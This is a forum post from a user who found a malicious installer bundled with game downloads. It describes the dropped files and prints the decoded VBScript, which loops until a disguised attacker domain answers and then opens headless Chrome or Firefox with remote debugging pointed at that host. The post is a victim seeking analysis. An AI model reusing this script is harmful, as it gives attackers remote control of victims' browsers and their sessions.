I downloaded a game from oceanofgames.com. there is a archive in it named "Step 2 - Extract Setup.rar". It is almost in every games downloaded from oceanofgames.com. When I extract and run it, it is detected as malware. I have Avast, it shows this message
It creates "Windows Updates service.vbs" and "encode.vbs" in %appdata%\Windows Updates Files. "encode.vbs" converts "Windows Updates service.vbs" to "Windows Updates service.vbe" and then runs it. I decoded the vbe file. Please tell me what is this doing.
on Error Resume Next
Sub Pause(NSeconds)
Wscript.Sleep(NSeconds*3000)
End Sub
Dim visualcpp
Set visualcpp = CreateObject("WScript.Shell")
counter = True
While counter = True
website = "www.google.com.739471594492594.windows-display-service.com"
checkstring = "ping -n 1 -w 300 " & website
status = visualcpp.Run(checkstring, 0 , True)
If status = 0 Then
counter = False
Else
Pause(21)
End If
Wend
returncodestatus = "1"
returncodestatus = visualcpp.run("chrome --headless --disable-gpu --remote-debugging-port=9222 http://www.google.com.739471594492594.windows-display-service.com",0,false)
if returncodestatus <> 0 then
returncodestatus=visualcpp.run("firefox -no-remote -CreateProfile user",0,false)
returncodestatus=visualcpp.run("firefox -no-remote -headless -new-instance -P ""user"" --start-debugger-server ws:6000 http://www.google.com.739471594492594.windows-display-service.com",0,false)
End If
The URL in variable "website" is blacklisted by Avast.